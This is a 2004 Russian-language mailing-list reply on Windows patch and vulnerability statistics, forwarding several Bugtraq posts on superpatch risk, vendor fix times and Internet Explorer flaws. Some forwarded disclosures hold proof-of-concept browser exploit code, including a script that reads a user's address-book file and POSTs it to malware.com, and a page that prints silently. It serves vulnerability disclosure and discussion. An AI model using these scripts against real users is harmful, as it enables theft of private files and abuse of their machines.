[Comm] Re: Статистика по безопасности

[Michael Shigorin <mike@osdn.org.ua>]

[-- Attachment #1.1: Type: text/plain, Size: 981 bytes --]

On Wed, May 05, 2004 at 05:37:47AM +0400, Mikhail Ramendik wrote:
> > Не совсем про безопасность, но для win2000sp4 уже более 100
> > различных заплат именуемых postSP4, которые не легко получить :(
> Ну почему же "не совсем". Это как раз про безопасность и очень важно.

(в сторону) Знаете, я тут как-то рассказывал, как сгибался от
хохота при виде таблички "Deploying Secure Windows 200 Network"
на учебном классе крупнейшего партнера MS здесь -- по той простой
причине, что за дверями синели мониторы с ALM2.2. :)

> Вопрос - написано ли про это на каком-либо сайте? А то
> официальная позиция MS - всё, что надо, доступно через
> WindowsUpdate.

Например, http://unpatched.pivxlabs.com

Вот еще кой-чего по части моего письма рядом, чтоб не разводить
ответов. (заглянув в архив)  О, да тут прямо ассорти -- думаю, в
архиве того же багтрака можно найти и другие релевантные вещи.

-- 
 ---- WBR, Michael Shigorin <mike@altlinux.ru>
  ------ Linux.Kiev http://www.linux.kiev.ua/

[-- Attachment #1.2: Type: message/rfc822, Size: 3951 bytes --]

From: Nicholas Weaver <nweaver@CS.berkeley.edu>
To: James Riden <j.riden@massey.ac.nz>
Cc: InfoSec@seba.com, bugtraq@securityfocus.com
Subject: Re: After Ms patches last Wed ...
Date: Mon, 3 May 2004 16:03:15 -0700
Message-ID: <20040503160315.A11612@ring.CS.Berkeley.EDU>


	This brings the question: Are Mondo-sized patches like
MS04-011 a good idea or a bad idea?


	On the one hand, they correct a lot of problems, in a way very
friendly to most users.  One of the big headaches is the ignorant
users, who end up worm-bait, botnets, spam relays, stepping stones,
etc.  Allowing them to easily be up to date is a good thing.

	Additionally, it removes some of the judgement calls on patch
severity/urgency, because there is probabyl going to be at least one
"you better patch it now", so there is less likely to be an "Microsoft
only rates this as important because you have to be authenticated in
the domain..." moment.


	But on the other hand, the probability of the superpatch
causing problems is exacerbated.  If each normal patch has a
probability P of causing problems, then an N-fold patch has
probability (1 - P)^N of NOT causing a problem.  Thus the probability
is 1 - (1 - P)^N that the N-way patch will have an issue.

	For real-world numbers, if P = .1 (10% chance the patch may be
problematic) and N is 10, then the patch has a 65% chance of being a
problem.  Even if P is .01, there is still a nearly 10% chance of
problems from a 10-way superpatch.


	This is now worse as the attackers have finally started waking
up to the reality of worms.  With vulnerabilities like the ones in the
superpatch, and with attackers demonstrating a <48 hour turnaround
time between disclosure and worm (Witty) or exploit and worm (Sasser),
these superpatches leave an adminitrator in a bind: Apply the
superpatch immeditely and accept the significantly increased
probability of failure, or don't apply the patch and accept the vastly
high probability of a worm in the near future.


-- 
Nicholas C. Weaver                                 nweaver@cs.berkeley.edu

[-- Attachment #1.3: Type: message/rfc822, Size: 3161 bytes --]

From: "http-equiv@excite.com" <1@malware.com>
To: <bugtraq@securityfocus.com>, <NTBugtraq@listserv.ntbugtraq.com>
Subject: BAD NEWS: Microsoft Security Bulletin MS03-032
Date: Sun, 7 Sep 2003 13:16:18 -0000
Message-ID: <200309071316.h87DGI7i024059@web6.megawebservers.com>



Since the cat somehow got out of the bag, and more importantly, this 
is so blatantly obvious, herewith is the "Bad News":

The patch for Drew's object data=funky.hta doesn't work:

http://www.malware.com/badnews.html

<script>
  var oPopup = window.createPopup();

  function showPopup() {
    oPopup.document.body.innerHTML = "<object data=ouch.php>";
    oPopup.show(0,0,1,1,document.body);
  }
  
  showPopup()
</script>

Notes:

1. Disable Active Scripting
2. In case that does not work, uninstall Internet Explorer
3. http://www.eeye.com/html/Research/Advisories/AD20030820.html
4. This was sent to the manufacturer quite some time prior to this
   going out. Surprisingly no immediate acknowledgement
5. This is so blatantly obvious, in particular because it is
   the coupling of two known issues[one current + one from 2002]:

   http://www.securityfocus.com/bid/3867/

It is beyond comprehension why this was not checked from the       
outset as it is a known issue plus file://::{CLSID}in the control 
panel in the object tag still functions to date. 
6. At this stage one must really question the compentency of this 
particular operation. This is a pathetic oversight.

-- 
http://www.malware.com





[-- Attachment #1.4: Type: message/rfc822, Size: 5999 bytes --]

From: "Steven M. Christey" <coley@mitre.org>
To: bugtraq@securityfocus.com
Subject: Re: Funny article
Date: Thu, 13 Nov 2003 18:04:02 -0500 (EST)
Message-ID: <200311132304.hADN42TV005857@linus.mitre.org>


It would be very interesting to see any results that try to compare
the timeliness of vendor response.  I attemped to conduct such a study
a year and a half ago, but the study failed due to lack of time and a
lot of other factors such as:

 - the relatively small percentage of disclosure timelines as reported
   by researchers - and the number of errors or uncertain values in
   some of those timelines (e.g. "I reported this some time ago").  As
   a result of this, I was only able to determine a
   "notify-to-publish-to-fix" timeline about 10% of the time.

 - the relatively large number of bugs that get publicly reported, but
   do not seem to be acknowledged or fixed by the vendor(s).  Since
   there is no publicly known fix, one can only calculate a MINIMUM
   amount of time-to-fix.

 - the implicit (or explicit) policy that the vendor uses related to
   bug severity.  For example, a minor information leak may be treated
   as a non-security bug whereas a remotely exploitable buffer
   overflow would get an instant fix.

 - the unknown percentage of bugs that were discovered and fixed by
   the vendors themselves.  (Indeed, Microsoft's own acknowledgement
   policy makes it difficult to know whether their uncredited fixes
   are due to their own internal discoveries, or previous public
   disclosures by researchers who did not fully coordinate with
   Microsoft).

 - how one "counts" the number of vulnerabilities.  I view this as one
   of the main roles of CVE, however any set of vulnerability data
   must be normalized in *some* fashion before being compared,
   otherwise the stats will be biased.

 - how one determines the date when something is "fixed."  For
   example, consider if the vendor releases a patch that is so broken
   that it prevents correct operation of the software.  Or consider if
   an open source patch is made available at the time of disclosure
   and posted to "semi-public" developer-focused lists, but there's
   some amount of time before the fix makes it into the official
   patch.


I initially tried to cover a 3 month time span, but it really seemed
like at least a year's worth was required.

There were some indications (not statistically proven) that
researchers were generally more willing to coordinate with open source
vendors than closed source.  This would further bias any disclosure
data.

You can't simply compare published advisories against each other,
because:

  - different vendors have varying criteria for how severe a bug must
    be before an advisory is published

  - some advisories report multiple bugs, which could mean multiple
    disclosure and notification dates, and different times-to-fix

  - sometimes an interim patch is provided before the advisory

  - sometimes security issues are patched through some mechanism other
    than an advisory (e.g. Microsoft's service packs, which fix
    security bugs but don't normally have an associated security
    bulletin)

  - sometimes there are multiple advisories for the same bugs (SCO and
    Red Hat immediately come to mind)

You also can't directly compare by "total bugs per OS" because of the
variance in packages that may or may not get installed, plus how one
defines what is or isn't part of the "operating system" as mentioned
previously.  One way to normalize such a comparison is to compare
"default" installations to each other, and "most secure" installations
to each other - although of course the latter is not always available.

Fortunately, the percentage of vulnerability reports with disclosure
timelines seems to have been increased significantly in the past year,
so maybe there is a critical mass of data available.

As a final note, I have the impression that most vendors (open or
closed, commercial or freeware) don't track their own speed-to-fix,
and *no* vendor that I know of actually *publishes* their
speed-to-fix.

Hopefully someday there will be a solid public paper that actually
tries to quantify the *real* amount of time it takes to fix bugs,
whether on a per-vendor or per-platform basis, and accounts for all
the issues that I described above.  (I know of a couple private
efforts, but they are not public yet.)  Of course, one would want to
verify the raw data as well.

- Steve

[-- Attachment #1.5: Type: message/rfc822, Size: 5157 bytes --]

From: "http-equiv@excite.com" <1@malware.com>
To: <bugtraq@securityfocus.com>
Cc: <NTBugtraq@listserv.ntbugtraq.com>
Subject: Re: Security researchers organization
Date: Tue, 18 Nov 2003 19:30:57 -0000
Message-ID: <200311181931.hAIJV0R8010162@web172.megawebservers.com>



<!-- 

What I would like to see
created is an organization that would promote and protect the interests
of security researchers, plain and simple. There is currently no
organization that exists solely to guide, help and represent security
researchers on a larger scale, yet we can all recognize the need.

 -->

I don't think those capable of actually doing research require hand holding by anyone.


<!-- 

We are a wide, international and differing group of researchers, some
with malicious and others with altruistic intents for finding security
vulnerabilities. Despite our differences we have much in common - we are
deeply interested in advancing our knowledge of security and information
technology, we find vulnerabilities, we want the vendor to know about
these at some point in time and we want to be accredited for our
findings.

 -->

Can this not already be achieved by following the minimum requirement of any one particular vendor. Or following any one of the number of so-called disclosure guidelines already tabled.

While some may want accreditation and pat on the back, others may want the continual flow of effluent onto the internet to cease. Some want habitual offenders penalised. Monetarily. Some want an authoritative body like a UL or CSA or VDE or SEMKO or BS to stamp their mark on product entering the internet. 'REJECTED' for junk product that finds it's way repeatedly onto the internet.

Allow me to give you an example of a habitual offender:

There is a peculiar file that appears on almost everyone's computers since April of 2003. Peculiar enough in that all it is, is a tilde "~". Inside that file is the entire contents of the user's address book. In fact, the file is exactly that. The user's address book. Simply adding the extension of  *.wab to it, opens up none other than the Windows Address Book. All names, addresses and whatever critically private information one puts in there. Some people even put their banking and credit card details in there believe it or not.

This peculiar little file is an oddity created by the April 2003, Cumulative Patch for Outlook Express (330994). Now seven months ago. A most useful file in that it is created in a number of well known places including "C:\". Knowing the file name and location makes it quite easy to 'steal' this file and  invade the privacy of the user of the computer where it still resides today. Some seven months after the vendor knowing full well about it.  [I believe there is a pending lawsuit against the same vendor along the same lines at this time]. 

You see:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "file:///C:/~",0);
x.Send();
var y = new ActiveXObject ("Microsoft.XMLHTTP");
y.Open("POST", "http://www.malware.com/forthetaking.php", false);
y.Send(x.responseBody);

Will get and post that file. With a little bit of effort and timing, all one needs to do is steal that file and invade the privacy of the "customer" ! And who's fault will that be? Mine for providing this glaringly obvious scenario 'for free' or the vendor sitting on their hands for seven months thinking about it for a fee.

REJECT !  the product and keep it off the internet ! 

-- 
http://www.malware.com


[-- Attachment #1.6: Type: message/rfc822, Size: 4968 bytes --]

From: Ben Garvey <bengarvey@comcast.net>
To: bugtraq@securityfocus.com
Subject: IE 6 Print Without Prompt
Date: Mon, 12 Apr 2004 10:45:20 -0400
Message-ID: <407AAB80.9020904@comcast.net>

#######################################################################

                              Ben Garvey

Application:  Microsoft Internet Explorer

Versions:     6.0
Platforms:    Windows
Bugs:         IE 6 allows JavaScript to send documents to the printer 
without prompting the user.
Exploitation: Client
Date:         12 April 2004
Author:       Ben Garvey
	      bengarvey@comcast.net
               http://www.bengarvey.com

	      Bugtraq report format:  Thanks Luigi Auriemma!


#######################################################################

===============
1) Introduction
===============


Microsoft Internet Explorer is the dominant web browser on the world's PCs.
Any exploits or bugs found hurt millions of users.
Like anyone here needed to know that or is surprised.

#######################################################################

===============
2) Bug summary
===============

Using an OLE object, JavaScript, and HTML, IE 6 will allow a malicious
document to send pages to the printer without prompting the user.

Printing documents without prompting the user could result in the waste
of paper, toner, ink or result in damage to the printer.  If inserted into
a high traffic website this waste could be substantial.

$ of paper x printed sheets x web traffic x % of IE Users = $total waste 
in paper

If paper costs a penny per sheet ($5 for 500 sheets)
We average about 10 sheets printed per user before they realize what's 
happening (conservative estimate)
It's used on a high traffic website (1 million unique visitors)
IE's market share is about 90%.

$0.01 x 10 per user x 1 million x 0.90 = $90,000 in damages

This doesn't even include costs associated with toner and time.


===============
3) Exploit
===============

The following is an example of the exploit.  The offending line must be 
uncommented to activate it.  Remove any linebreaks that break the 
JavaScript.

<HTML>
<HEAD>

<SCRIPT language="JavaScript">

function ieExecWB( intOLEcmd, intOLEparam )
{        // Create OLE Object
          var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 
CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';

          // Place Object on page
          document.body.insertAdjacentHTML('beforeEnd', WebBrowser);

          // if intOLEparam is not defined, set it
          if ( ( ! intOLEparam ) || ( intOLEparam < -1 )  || ( 
intOLEparam > 1) )
           intOLEparam = 1;

          // Execute Object
          WebBrowser1.ExecWB( intOLEcmd, intOLEparam );

          // Destroy Object
          WebBrowser1.outerHTML = "";
}

function printAll()
{	
	// Uncomment this to enable the exploit!
	//ieExecWB(6,-1);

}

</SCRIPT>

</HEAD>

<BODY onload="printAll()">

<h3>I like your PRINTER</h3>

</BODY>

</HTML>

===============
4) Conclusion
===============

I can't think of any reasonable use for allowing IE to print stuff 
without my permission.
This bug should be fixed as soon as possible.


-----
Ben Garvey
bengarvey@comcast.net
http://www.bengarvey.com

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]